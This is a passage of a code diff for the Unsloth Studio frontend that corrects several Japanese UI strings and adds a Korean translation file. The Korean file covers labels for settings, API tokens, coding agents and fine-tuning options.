       readDocs: "API ドキュメントを読む",
       noAccess: "まだ API アクセス権がありません。",
-      newBadge: "新規",
       accessTokens: "アクセストークン",
       loadError: "API アクセス権を読み込めませんでした。",
       createError: "アクセストークンを作成できませんでした。",
@@ -314,8 +494,10 @@ export const ja = {
       usageTools: "ツール",
       exampleCurlTools: "curl + ツール",
       examplePythonTools: "Python + ツール",
+      exampleJavaScriptTools: "JavaScript + ツール",
       exampleCurlAdvanced: "curl + 高度な設定",
       examplePythonAdvanced: "Python + 高度な設定",
+      exampleJavaScriptAdvanced: "JavaScript + 高度な設定",
       osUnix: "Linux / macOS / WSL",
       osWindows: "Windows",
       secureHttps: "セキュア HTTPS",
@@ -325,6 +507,11 @@ export const ja = {
       copy: "コピー",
       copied: "コピーしました",
       setupDocs: "セットアップドキュメント:",
+      codingAgents: "コーディングエージェント",
+      codingAgentsHint: "このサーバーに対してコーディングエージェントを起動します。読み込み済みのモデルを使用します。ローカルサーバーでは API キーが自動的に発行され、リモートサーバーではコマンドに含まれます。",
+      codingAgentsSwap: "claude を codex、openclaw、opencode、hermes、pi に置き換えられます。",
+      codingAgentDetected: "このマシンにインストール済み",
+      codingAgentsDetectedHint: "このマシンで検出されました: {agents}。",
       relativeNever: "なし",
       relativeJustNow: "たった今",
       relativeHoursAgo: "{count}時間前",
@@ -406,7 +593,7 @@ export const ja = {
     },
   },
   studio: {
-    routeTitle: "トレイン",
+    routeTitle: "トレーニング",
     title: "Fine-tuning Studio",
     subtitles: {
       configure: "設定とトレーニングの開始",
@@ -449,7 +636,7 @@ export const ja = {
       scanning: "スキャン中...",
       scanningLocalModels: "ローカルモデルをスキャン中...",
       noLocalModelsFound: "ローカルモデルが見つかりません",
-      noLocalModelsFoundManual: "ローカルモデルが見つかりません。パスを手動を入力してください。",
+      noLocalModelsFoundManual: "ローカルモデルが見つかりません。パスを手動で入力してください。",
       failedToLoadLocalModels: "ローカルモデルの読み込みに失敗しました",
       hfCache: "HF キャッシュ",
       customFolders: "カスタムフォルダ",
@@ -584,7 +771,7 @@ export const ja = {
       rank: "Rank",
       rankTooltip: "低ランク行列の次元数。高いほど表現能力が向上します。",
       alpha: "Alpha",
-      alphaTooltip: "LoRA 更新のスクール係数。通常は rank の 2 倍に設定します。",
+      alphaTooltip: "LoRA 更新のスケール係数。通常は rank の 2 倍に設定します。",
       dropout: "Dropout",
       dropoutTooltip: "過学習を抑えるための LoRA レイヤーのドロップアウト確率。",
       visionLayers: "ビジョンレイヤー",
@@ -627,7 +814,7 @@ export const ja = {
       saveSteps: "保存ステップ間隔",
       saveStepsTooltip: "N ステップごとにチェックポイントを保存します。0 で無効化します。",
       evalSteps: "評価ステップ間隔",
-      evalStepsTooltip: "評価を行う総トレーニングステップ of 割合 (0-1)。0 に設定すると評価が無効になります。例: 0.01 = ステップの 1% ごとに評価を実行。",
+      evalStepsTooltip: "評価を行う間隔を、総トレーニングステップに対する割合 (0-1) で指定します。0 に設定すると評価が無効になります。例: 0.01 = ステップの 1% ごとに評価を実行。",
       seed: "シード値",
       seedTooltip: "再現性のための乱数シード。",
       gradCheckpoint: "勾配チェックポイント",
@@ -829,4 +1016,4 @@ export const ja = {
       guidedTour: "ガイドツアー",
     },
   },
-} as const;
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/ko.ts b/studio/frontend/src/i18n/locales/ko.ts
new file mode 100644
index 0000000000..16e27b50cd
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ko.ts
@@ -0,0 +1,1002 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const ko = {
+  common: {
+    cancel: "취소",
+    close: "닫기",
+    delete: "삭제",
+    done: "완료",
+    error: "오류",
+    export: "내보내기",
+    help: "도움말",
+    loading: "로딩 중...",
+    new: "새로 만들기",
+    rename: "이름 변경",
+    save: "저장",
+    saving: "저장 중...",
+    search: "검색",
+    shutdown: "종료",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "{name} 계정 메뉴",
+    updateAvailable: "업데이트 사용 가능",
+    aria: {
+      home: "Unsloth 홈",
+      closeSidebar: "사이드바 닫기",
+      openSidebar: "사이드바 열기",
+      chatOptions: "채팅 옵션",
+      runOptions: "학습 옵션",
+    },
+    navigation: {
+      newChat: "새 채팅",
+      returnToChat: "채팅으로 돌아가기",
+      compare: "비교",
+      search: "검색",
+      hub: "모델",
+      train: "학습",
+      recipes: "레시피",
+      export: "내보내기",
+      recents: "최근 항목",
+      noChatsYet: "아직 채팅이 없습니다",
+      settings: "설정",
+      api: "API",
+      lightMode: "라이트 모드",
+      darkMode: "다크 모드",
+      guidedTour: "가이드 투어",
+      help: "도움말",
+      logOut: "로그아웃",
+      shutdown: "종료",
+    },
+    notFound: {
+      title: "페이지를 찾을 수 없습니다",
+      description: "{path} 은(는) 존재하지 않습니다.",
+      backToChat: "채팅으로 돌아가기",
+    },
+    dialog: {
+      deleteChat: {
+        title: "채팅 삭제",
+        description: '이 채팅 "{name}" 을(를) 삭제하시겠습니까?',
+      },
+      deleteRun: {
+        title: "학습 실행 삭제",
+        description: '이 실행 "{name}" 을(를) 삭제하시겠습니까?',
+      },
+      renameChat: {
+        title: "채팅 이름 변경",
+        placeholder: "채팅 제목",
+      },
+      renameRun: {
+        title: "실행 이름 변경",
+        placeholder: "실행 이름",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "실행 중인 학습은 삭제할 수 없습니다",
+      failedToDeleteChat: "채팅 삭제에 실패했습니다",
+      failedToDeleteRun: "실행 삭제에 실패했습니다",
+      failedToRenameChat: "채팅 이름 변경에 실패했습니다",
+      failedToRenameRun: "실행 이름 변경에 실패했습니다",
+    },
+  },
+  settings: {
+    title: "설정",
+    dialog: {
+      title: "설정",
+      description: "Unsloth 환경설정을 관리합니다.",
+      closeAriaLabel: "설정 닫기",
+    },
+    tabs: {
+      general: "일반",
+      profile: "프로필",
+      appearance: "외관",
+      resources: "시스템",
+      chat: "채팅",
+      connections: "연결",
+      apiKeys: "API",
+      about: "정보",
+    },
+    general: {
+      title: "일반",
+      description: "Unsloth의 전역 환경설정입니다.",
+      account: "계정",
+      huggingFaceToken: "Hugging Face 토큰",
+      huggingFaceTokenDescription:
+        "게이트된 모델을 불러오고 아티팩트를 푸시하는 데 사용됩니다.",
+      hideToken: "토큰 숨기기",
+      showToken: "토큰 표시",
+      tokenValidated: "토큰이 확인되었습니다",
+      password: "비밀번호",
+      passwordDescription: "이 Unsloth 계정의 비밀번호를 변경합니다.",
+      passwordDialog: {
+        trigger: "비밀번호 변경",
+        title: "비밀번호 변경",
+        description:
+          "현재 비밀번호를 입력하고 새 비밀번호를 선택하세요(최소 {minLength}자).",
+        currentPassword: "현재 비밀번호",
+        newPassword: "새 비밀번호",
+        confirmPassword: "새 비밀번호 확인",
+        currentTooShort:
+          "현재 비밀번호는 최소 {minLength}자 이상이어야 합니다.",
+        newTooShort: "새 비밀번호는 최소 {minLength}자 이상이어야 합니다.",
+        mismatch: "비밀번호가 일치하지 않습니다.",
+        samePassword: "새 비밀번호는 현재 비밀번호와 달라야 합니다.",
+        update: "비밀번호 업데이트",
+        updating: "업데이트 중...",
+        updated: "비밀번호가 업데이트되었습니다.",
+        updateFailed: "비밀번호 업데이트에 실패했습니다.",
+      },
+      chatDefaults: "채팅 기본값",
+      autoTitleNewChats: "새 채팅 제목 자동 생성",
+      autoTitleNewChatsDescription:
+        "첫 메시지를 기반으로 짧은 제목을 생성합니다.",
+      helperLlm: {
+        sectionTitle: "Helper LLM",
+        preloadOnStartup: "시작 시 Helper LLM 미리 캐시",
+        preloadOnStartupDescription:
+          "시작 시 백그라운드에서 AI Assist 헬퍼 모델을 다운로드합니다. 기본값은 꺼짐이며, AI Assist는 필요할 때 언제든 가져올 수 있습니다.",
+        disabledByEnv:
+          "백엔드 환경의 UNSLOTH_HELPER_MODEL_DISABLE에 의해 비활성화되었습니다.",
+        loadError: "Helper LLM 설정을 불러오지 못했습니다.",
+        saveError: "Helper LLM 설정을 저장하지 못했습니다.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "모델 자동 전환 (OpenAI API)",
+        enable: "요청에 따라 모델 전환",
+        enableDescription:
+          "OpenAI 호환 요청이 다운로드된 다른 GGUF를 지정하면, 응답하기 전에 해당 모델을 불러옵니다. 기본값은 꺼짐이며, 알 수 없는 이름은 불러온 모델을 계속 제공합니다.",
+        idleUnload: "유휴 시 자동 해제",
+        idleUnloadDescription:
+          "지정한 유휴 시간(초)이 지나면 모델을 해제하여 VRAM을 확보합니다. 다음 요청 시 다시 불러옵니다. 0으로 설정하면 계속 로드된 상태로 유지됩니다. 최소 60초입니다.",
+        idleNeedsEnable:
+          "해제된 모델이 다음 사용 시 다시 로드되도록 하려면 요청에 따라 모델 전환을 켜세요.",
+        idleActiveViaEnv:
+          "유휴 시 자동 해제가 UNSLOTH_MODEL_IDLE_TTL 환경 변수를 통해 활성화되어 있습니다.",
+        loadError: "모델 자동 전환 설정을 불러오지 못했습니다.",
+        saveError: "모델 자동 전환 설정을 저장하지 못했습니다.",
+        idleError: "모델을 로드 상태로 유지하려면 0을, 그렇지 않으면 60초 이상을 입력하세요.",
+      },
+      previewSharing: {
+        sectionTitle: "미리보기 공유",
+        enableLabel: "공개 미리보기 링크",
+        enableDescription:
+          "서명된 링크가 있는 누구나 로그인 없이 완성된 모델과 채팅할 수 있게 합니다. 끄면 공개 미리보기 화면이 오프라인이 되고 공유된 링크가 작동하지 않습니다.",
+        loadError: "미리보기 공유 설정을 불러오지 못했습니다.",
+        saveError: "미리보기 공유 설정을 저장하지 못했습니다.",
+        revokeLabel: "모든 미리보기 링크 취소",
+        revokeDescription:
+          "서명 비밀 키를 교체하여 이전에 공유한 모든 링크가 작동하지 않게 합니다. 새로 복사한 링크는 계속 작동합니다.",
+        revokeAction: "링크 취소",
+        revoking: "취소 중...",
+        revokeConfirmTitle: "모든 미리보기 링크를 취소하시겠습니까?",
+        revokeConfirmDescription:
+          "공유한 모든 미리보기 링크가 즉시 작동하지 않게 됩니다. 이 작업은 되돌릴 수 없습니다.",
+        revokeConfirmAction: "모든 링크 취소",
+        revoked: "모든 미리보기 링크가 취소되었습니다",
+        revokeError: "미리보기 링크를 취소하지 못했습니다",
+      },
+      notifications: {
+        sectionTitle: "알림",
+        showLlamaUpdates: "llama.cpp 업데이트 알림",
+        showLlamaUpdatesDescription:
+          "새 모델을 실행할 수 있는 최신 llama.cpp 빌드가 있으면 알립니다. 학습만 사용한다면 끄세요.",
+      },
+      gettingStarted: "시작하기",
+      startOnboarding: "온보딩 시작",
+      startOnboardingDescription:
+        "계정을 변경하지 않고 설정 마법사를 다시 엽니다.",
+      startOnboardingAction: "온보딩 시작",
+      uploads: {
+        sectionTitle: "업로드",
+        maxUploadSize: "학습 데이터셋 업로드 상한",
+        maxUploadSizeDescription: "기본값은 {defaultSize} MB입니다.",
+      },
+      rag: {
+        sectionTitle: "문서 & RAG",
+        embeddingModel: "임베딩 모델",
+        embeddingModelDescription:
+          "문서를 색인하고 검색하는 데 사용되는 Hugging Face 모델 또는 로컬 경로입니다. 기본값은 {defaultModel}입니다.",
+        reindexWarning:
+          "새로 색인되는 문서에만 적용됩니다. 모델을 변경한 후 기존 문서를 다시 업로드하세요.",
+        emptyError: "Hugging Face 모델 ID 또는 로컬 경로를 입력하세요.",
+        loadError: "임베딩 모델 설정을 불러오지 못했습니다.",
+        saveError: "임베딩 모델을 저장하지 못했습니다.",
+        saved: "임베딩 모델이 저장되었습니다.",
+        saveAnyway: "그래도 저장",
+        resetAction: "기본값으로 재설정",
+      },
+      storage: {
+        sectionTitle: "저장소",
+        modelsFolder: "모델 폴더",
+        modelsFolderDescription: "다운로드한 모델이 저장되는 위치입니다.",
+        openAction: "열기",
+        copyAction: "경로 복사",
+        copied: "경로가 복사되었습니다",
+        openError: "폴더를 열지 못했습니다",
+        copyError: "경로를 복사하지 못했습니다",
+      },
+      resetPreferences: {
+        sectionTitle: "위험 구역",
+        label: "모든 로컬 환경설정 재설정",
+        description:
+          "로컬 전용 환경설정을 지웁니다. 채팅, API 접근 권한, DB 기반 설정은 유지됩니다.",
+        action: "환경설정 재설정",
+        confirmTitle: "모든 로컬 환경설정을 재설정하시겠습니까?",
+        confirmDescription:
+          "로컬 전용 환경설정을 지우고 Unsloth를 다시 로드합니다. 채팅, API 접근 권한, DB 기반 설정은 유지됩니다.",
+        confirmAction: "재설정 후 다시 로드",
+      },
+    },
+    profile: {
+      title: "프로필",
+      description: "Unsloth에서 프로필이 표시되는 방식입니다.",
+      changePicture: "프로필 사진 변경",
+      displayName: "표시 이름",
+      nickname: "Unsloth가 당신을 어떻게 부르면 될까요?",
+      nicknamePlaceholder: "닉네임",
+      nicknameSaved: "선호하는 이름이 저장되었습니다",
+      avatarShape: "프로필 사진 모양",
+      avatarShapeCircle: "원형",
+      avatarShapeRounded: "둥근 모서리",
+      chooseSloth: "또는 나무늘보를 선택하세요",
+      nameSaved: "프로필 이름이 저장되었습니다",
+      namePersistErrorTitle: "프로필 이름을 저장할 수 없습니다",
+      namePersistErrorDescription:
+        "이번 세션에서는 이름이 업데이트되었지만, 다시 로드하면 유지되지 않을 수 있습니다.",
+      photoUpdated: "프로필 사진이 업데이트되었습니다",
+      photoPersistErrorTitle: "프로필 사진을 저장할 수 없습니다",
+      photoPersistErrorDescription:
+        "이번 세션에서는 사진이 업데이트되었지만, 다시 로드하면 유지되지 않을 수 있습니다.",
+      photoUpdateErrorTitle: "프로필 사진을 업데이트할 수 없습니다",
+      imageUseError: "이 이미지를 사용할 수 없습니다.",
+    },
+    appearance: {
+      title: "외관",
+      description: "이 기기에서 Unsloth Studio가 표시되는 방식입니다.",
+      theme: {
+        title: "테마",
+        label: "색상 구성",
+        description: "라이트, 다크 또는 시스템 설정을 따릅니다.",
+        system: "시스템",
+        light: "라이트",
+        dark: "다크",
+      },
+      language: {
+        title: "언어",
+        label: "표시 언어",
+        description: "Unsloth에서 사용하는 언어입니다.",
+        autoDetect: "자동 감지",
+      },
+      layout: {
+        title: "레이아웃",
+        compactSidebar: "기본적으로 사이드바 고정",
+        compactSidebarDescription:
+          "사이드바를 아이콘으로 접지 않고 펼친 상태로 유지합니다.",
+      },
+    },
+    resources: {
+      title: "시스템",
+      description: "이 Unsloth 서버의 하드웨어와 저장소를 모니터링합니다.",
+      liveUpdates: "실시간 업데이트",
+      floatingWindow: "플로팅 창",
+      disableOverlay: "오버레이 비활성화",
+      liveMonitor: {
+        title: "실시간 모니터",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "디스크",
+        vram: "VRAM",
+        cpuCores: "논리 {logical}개 / 물리 {physical}개 코어",
+        currentLoad: "현재 부하",
+        free: "{value} 여유",
+        noGpu: "표시된 GPU 없음",
+      },
+      gpu: {
+        title: "GPU 장치",
+        noGpu: "표시된 GPU가 감지되지 않았습니다. 위에 CPU 전용 리소스가 표시됩니다.",
+        unknownDevice: "알 수 없는 GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} 사용 중",
+        free: "{value} 여유",
+        total: "{value} 전체",
+      },
+      storage: {
+        title: "저장소",
+        systemDisk: "시스템 디스크",
+        diskUsage: "{used} 사용 중 / {total}",
+        diskFree: "{free} 여유",
+        modelsFolder: "모델 폴더",
+        modelsFolderDescription: "다운로드한 모델이 저장되는 위치입니다.",
+        openAction: "열기",
+        copyAction: "경로 복사",
+        copied: "경로가 복사되었습니다",
+        openError: "폴더를 열지 못했습니다",
+        copyError: "경로를 복사하지 못했습니다",
+      },
+      environment: {
+        title: "환경",
+        backend: "백엔드",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "가동 시간",
+        processMemory: "프로세스 메모리",
+        notInstalled: "설치되지 않음",
+        unknown: "알 수 없음",
+      },
+    },
+    chat: {
+      title: "채팅",
+      description: "이 기기에 저장된 채팅 기록을 관리합니다.",
+      modelDisclaimer: "모델 고지 표시",
+      modelDisclaimerDescription:
+        '채팅 상자 아래에 "LLM은 실수를 할 수 있습니다"를 표시합니다.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTML 블록 접기",
+        collapseHtmlBlocksDescription:
+          "Canvas 모드는 전체 HTML을 자동으로 접습니다. Canvas가 꺼져 있을 때도 펜스로 감싼 HTML 문서를 접으려면 이 옵션을 켜세요.",
+        allowNetworkAccess: "Canvas 네트워크 접근 허용",
+        allowNetworkAccessDescription:
+          "Canvas 미리보기가 CDN에서 스크립트, 스타일, 폰트, 미디어 및 네트워크 리소스를 불러올 수 있게 합니다. 완전한 오프라인 미리보기를 위해서는 꺼 두세요.",
+      },
+      data: "데이터",
+      exportHistory: "채팅 기록 내보내기",
+      exportHistoryDescription:
+        "모든 채팅과 메시지를 JSON으로 다운로드합니다.",
+      exportAction: "내보내기",
+      exportingAction: "내보내는 중...",
+      exportConversations: "최근 항목 및 프로젝트 내보내기",
+      exportConversationsDescription:
+        "최근 항목 또는 최근 항목과 프로젝트 채팅을 Raw JSONL, CSV 또는 ShareGPT JSONL로, 통합하거나 채팅별로 다운로드합니다.",
+      exportConversationsAction: "내보내기",
+      exportScopeRecents: "최근 항목",
+      exportScopeAll: "최근 항목 + 프로젝트",
+      exportCombinedSuffix: "(통합)",
+      exportPerChatSuffix: "(채팅별)",
+      importChats: "채팅 가져오기",
+      importChatsDescription:
+        "JSONL, NDJSON 또는 CSV 내보내기 파일을 최근 항목으로 가져옵니다.",
+      importChatsAction: "가져오기",
+      importNoConversations: "파일에서 대화를 찾을 수 없습니다.",
+      importedOneChat: "1개의 대화를 최근 항목으로 가져왔습니다.",
+      importedChatCount: "{count}개의 대화를 최근 항목으로 가져왔습니다.",
+      importFailed: "가져오기에 실패했습니다.",
+      clearHistory: "채팅 기록 지우기",
+      clearHistoryDescription: "이 기기에서 채팅 기록을 삭제합니다.",
+      clearAction: "지우기",
+      clearAllChats: "모든 채팅 지우기",
+      clearAllChatsDescription: "이 기기의 모든 채팅을 영구적으로 삭제합니다.",
+      noChatsToClear: "지울 채팅이 없습니다.",
+      clearOneChatDescription:
+        "이 기기의 유일한 채팅을 영구적으로 삭제합니다.",
+      clearChatCountDescription:
+        "이 기기의 채팅 {count}개를 모두 영구적으로 삭제합니다.",
+      clearChatsAction: "채팅 지우기",
+      clearOneChatTitle: "채팅 1개를 지우시겠습니까?",
+      clearChatsTitle: "채팅 {count}개를 지우시겠습니까?",
+      clearChatsConfirmDescription:
+        "이 기기의 모든 채팅을 영구적으로 삭제합니다. 이 작업은 되돌릴 수 없습니다.",
+      clearingAction: "지우는 중...",
+      clearOneChatAction: "채팅 1개 지우기",
+      clearChatCountAction: "채팅 {count}개 지우기",
+      clearedAllChats: "모든 채팅을 지웠습니다",
+      clearedOneChat: "채팅 1개를 지웠습니다",
+      clearedChatCount: "채팅 {count}개를 지웠습니다",
+      someChatsCouldNotBeCleared: "일부 채팅을 지울 수 없었습니다",
+      chatsClearedRemainOne:
+        "{clearedCount}개의 채팅을 지웠습니다. 1개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      chatsClearedRemain:
+        "{clearedCount}개의 채팅을 지웠습니다. {remainingCount}개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      oneChatClearedRemain:
+        "1개의 채팅을 지웠습니다. {remainingCount}개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      oneChatClearedRemainOne:
+        "1개의 채팅을 지웠습니다. 1개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      storageClearFailedOne:
+        "저장소 지우기에 실패했습니다. 1개의 채팅이 남아 있을 수 있습니다. 다시 시도하세요.",
+      storageClearFailed:
+        "저장소 지우기에 실패했습니다. {count}개의 채팅이 남아 있을 수 있습니다. 다시 시도하세요.",
+      failedToClearChats: "채팅 지우기에 실패했습니다",
+    },
+    connections: {
+      title: "연결",
+      description: "제공자 및 외부 연결을 관리합니다.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "OpenAI 호환 API를 통해 Unsloth에 접근합니다.",
+      readDocs: "API 문서 읽기",
+      noAccess: "아직 API 접근 권한이 없습니다.",
+      accessTokens: "액세스 토큰",
+      loadError: "API 접근 권한을 불러오지 못했습니다.",
+      createError: "액세스 토큰을 생성하지 못했습니다.",
+      revokeError: "액세스 토큰을 취소하지 못했습니다.",
+      never: "만료 없음",
+      tokenNamePlaceholder: "토큰 이름(예: production)",
+      newAccessTokenName: "새 액세스 토큰 이름",
+      createToken: "토큰 생성",
+      creating: "생성 중...",
+      newTokenCreated: "새 액세스 토큰이 생성되었습니다",
+      accessTokenCopied: "액세스 토큰이 복사되었습니다",
+      copyAccessToken: "액세스 토큰 복사",
+      copyNow: "지금 복사하세요 - 다시 표시되지 않습니다.",
+      usageExamples: "사용 예시",
+      usageTools: "도구",
+      exampleCurlTools: "curl + 도구",
+      examplePythonTools: "Python + 도구",
+      exampleJavaScriptTools: "JavaScript + 도구",
+      exampleCurlAdvanced: "curl + 고급",
+      examplePythonAdvanced: "Python + 고급",
+      exampleJavaScriptAdvanced: "JavaScript + 고급",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "보안 HTTPS",
+      secureHttpsHint:
+        "0.0.0.0 포트는 여전히 전역에서 접근할 수 있습니다. 완전한 보안을 위해서는 --secure로 Unsloth Studio를 실행하여 이 HTTPS 링크만 노출하세요.",
+      copyTunnelUrl: "터널 URL 복사",
+      copySnippet: "스니펫 복사",
+      copy: "복사",
+      copied: "복사됨",
+      setupDocs: "설정 문서:",
+      codingAgents: "코딩 에이전트",
+      codingAgentsHint:
+        "이 서버를 대상으로 코딩 에이전트를 실행합니다. 로드된 모델을 사용하며, 로컬 서버는 API 키를 자동으로 발급하고 원격 서버는 명령에 포함합니다.",
+      codingAgentsSwap: "claude를 codex, openclaw, opencode, hermes 또는 pi로 바꾸세요.",
+      codingAgentDetected: "이 컴퓨터에 설치됨",
+      codingAgentsDetectedHint: "이 컴퓨터에서 감지됨: {agents}.",
+      relativeNever: "없음",
+      relativeJustNow: "방금",
+      relativeHoursAgo: "{count}시간 전",
+      relativeDaysAgo: "{count}일 전",
+      relativeMonthsAgo: "{count}개월 전",
+      relativeYearsAgo: "{count}년 전",
+      expired: "만료됨",
+      today: "오늘",
+      inDays: "{count}일 후",
+      created: "{value}에 생성됨",
+      used: "{value}에 사용됨",
+      expires: "{value}에 만료됨",
+      actionsFor: "{name} 작업",
+      copyPrefix: "접두사 복사",
+      revokeToken: "토큰 취소",
+      revokeTitle: '액세스 토큰 "{name}" 을(를) 취소하시겠습니까?',
+      revokeDescription:
+        "이 토큰을 사용하는 앱은 즉시 접근 권한을 잃습니다. 이 작업은 되돌릴 수 없습니다.",
+      revokeAction: '"{name}" 취소',
+      revoking: "취소 중...",
+    },
+    about: {
+      title: "정보",
+      description: "문서, 릴리스 노트, 피드백 및 빌드 정보입니다.",
+      studioVersion: "Unsloth 버전",
+      packageVersion: "패키지 버전",
+      llamaCppVersion: "llama.cpp 버전",
+      hardware: "하드웨어",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "업데이트",
+      help: "도움말",
+      documentation: "문서",
+      releaseNotes: "릴리스 노트",
+      whatsNew: "새로운 기능",
+      feedback: "피드백",
+      reportIssue: "문제 보고",
+      license: {
+        sectionTitle: "라이선스",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "GNU AGPL v3.0 하에 오픈 소스입니다.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Apache 2.0 하에 라이선스가 부여됩니다.",
+      },
+      dangerZone: "위험 구역",
+      shutDownStudio: "Unsloth Studio 종료",
+      shutDownStudioDescription:
+        "Unsloth 서버를 중지하고 세션을 종료합니다.",
+      shutDown: "종료",
+      update: {
+        title: "Unsloth Studio 업데이트",
+        commandText: "{label} 텍스트",
+        copied: "복사됨",
+        copyCommand: "명령 복사",
+        commandCopied: "{label} 복사됨",
+        copyNamedCommand: "{label} 복사",
+        checkingInstall: "Unsloth 설치 방식을 확인하는 중...",
+        installIntro: "Unsloth를 설치하거나 업데이트하려면:",
+        localUpdateHeading: "로컬 업데이트",
+        installCommandUnix: "macOS/Linux 설치 명령",
+        installCommandWindows: "Windows 설치 명령",
+        localInstallDetected:
+          "로컬 설치가 감지되었습니다. PyPI로 대체되지 않도록 원래 체크아웃에서 업데이트하세요.",
+        pullThenUpdate:
+          "최신 변경 사항을 가져온 다음 로컬 설치 프로그램을 실행하세요:",
+        gitPullCommand: "git pull 명령",
+        localInstallerCommand: "로컬 설치 프로그램 명령",
+        sourceInstallDetected:
+          "소스 또는 VCS 패키지 설치가 감지되었습니다. 원래의 로컬 경로 또는 Git URL에서 다시 설치하세요.",
+        repoCheckoutFallback:
+          "저장소 체크아웃이 아직 있다면 거기에서 로컬 설치 프로그램을 실행하세요:",
+        restartAfterUpdate: "업데이트 후 Unsloth를 다시 시작하세요.",
+        desktopManaged:
+          "데스크톱 앱은 번들된 백엔드를 최신 상태로 유지하며 새 버전이 있으면 알립니다.",
+        unknownInstall:
+          "Unsloth 설치 방식을 감지할 수 없습니다. 설치 프로그램 또는 PyPI 설치의 경우 위 명령을 사용하세요.",
+        localCheckout:
+          "로컬 체크아웃 설치의 경우 해당 체크아웃에서 로컬 설치 프로그램을 실행하세요:",
+        docs: "설치 문서:",
+        docsInstall: "설치",
+        docsUpdating: "업데이트",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "학습",
+    title: "파인튜닝 스튜디오",
+    subtitles: {
+      configure: "구성하고 학습 시작",
+      trainingInProgress: "학습 진행 중",
+      viewPastRuns: "지난 학습 실행 보기",
+      viewingPastRun: "지난 실행 보는 중",
+    },
+    tabs: {
+      configure: "구성",
+      currentRun: "현재 실행",
+      history: "기록",
+    },
+    loadingRuntime: "학습 런타임을 로딩하는 중...",
+    backToHistory: "기록으로 돌아가기",
+    sections: {
+      model: "모델",
+      dataset: "데이터셋",
+      params: "매개변수",
+      training: "학습",
+      charts: "차트",
+      progress: "학습 진행률",
+    },
+    configure: {
+      title: "구성",
+      description: "모델, 데이터셋 및 학습 설정을 선택합니다.",
+      startTraining: "학습 시작",
+      starting: "시작 중...",
+      loadingModel: "모델을 로딩하는 중...",
+      checkingDataset: "데이터셋을 확인하는 중...",
+      trainingConfig: "학습 구성",
+    },
+    model: {
+      title: "모델",
+      description: "기본 모델과 학습 방법을 선택하세요",
+      fasterTrainingBadge: "2배 빠른 학습",
+      baseModel: "기본 모델",
+      localModel: "로컬 모델",
+      localModelTooltip:
+        "로컬에 다운로드한 모델의 경로 또는 커스텀 HF 저장소입니다.",
+      scanningLocalAndCachedModels: "로컬 및 캐시된 모델을 스캔하는 중...",
+      scanning: "스캔 중...",
+      scanningLocalModels: "로컬 모델을 스캔하는 중...",
+      noLocalModelsFound: "로컬 모델을 찾을 수 없습니다",
+      noLocalModelsFoundManual:
+        "로컬 모델을 찾을 수 없습니다. 경로를 직접 입력하세요.",
+      failedToLoadLocalModels: "로컬 모델을 불러오지 못했습니다",
+      hfCache: "HF 캐시",
+      customFolders: "커스텀 폴더",
+      localDir: "로컬 디렉터리",
+      huggingFaceModel: "Hugging Face 모델",
+      huggingFaceModelTooltip:
+        "Hugging Face 모델을 검색하거나 추천 목록에서 선택하세요.",
+      searchModels: "모델 검색...",
+      searching: "검색 중...",
+      noModelsFound: "모델을 찾을 수 없습니다",
+      needsVram: "약 {vram}GB VRAM 필요 (GPU: {gpu}GB)",
+      tightVram: "약 {vram}GB VRAM ({gpu}GB에서 빠듯함)",
+      vramEstimate: "약 {vram}GB VRAM",
+      method: "방법",
+      methodTooltip:
+        "QLoRA는 4비트 양자화를 사용해 VRAM을 최소화합니다. LoRA는 16비트를 사용합니다. Full은 모든 가중치를 업데이트합니다. CPT(Continued Pretraining)는 원시 텍스트로 학습하여 채팅 형식 없이 모델을 새 도메인에 적응시킵니다.",
+      readMore: "더 알아보기",
+      fullFineTune: "전체 파인튜닝",
+      checkingToken: "토큰 확인 중...",
+      getOrUpdateToken: "토큰 가져오기 또는 업데이트",
+      huggingFaceTokenOptional: "Hugging Face 토큰 (선택 사항)",
+      continuedPretraining: "지속 사전학습",
+      localModels: "로컬 모델",
+      localModelsFound: "{count}개의 로컬/캐시된 모델을 찾았습니다",
+      loadingLocalModels: "로컬 모델을 로딩하는 중...",
+    },
+    dataset: {
+      title: "데이터셋",
+      description: "학습 데이터를 선택하거나 업로드하세요",
+      source: "데이터셋 소스",
+      chooseDataset: "데이터셋 선택",
+      chooseDatasetTooltip:
+        "팝업 탭을 사용해 Hugging Face와 로컬 레시피 출력 간에 전환하세요.",
+      localTab: "로컬",
+      searchHuggingFaceDatasets: "Hugging Face 데이터셋 검색...",
+      searchLocalDatasets: "로컬 데이터셋 검색...",
+      searching: "검색 중...",
+      noDatasetsFound: "데이터셋을 찾을 수 없습니다",
+      loadingLocalDatasets: "로컬 데이터셋을 로딩하는 중...",
+      failedToLoadLocalDatasets: "로컬 데이터셋을 불러오지 못했습니다.",
+      noLocalDatasetsYet: "아직 로컬 데이터셋이 없습니다.",
+      noLocalDatasetsMatchSearch: "검색과 일치하는 로컬 데이터셋이 없습니다.",
+      openDataRecipes: "Data Recipes 열기",
+      browsingSource: "{browsing} 탐색 중. 현재 선택은 {current}로 유지됩니다.",
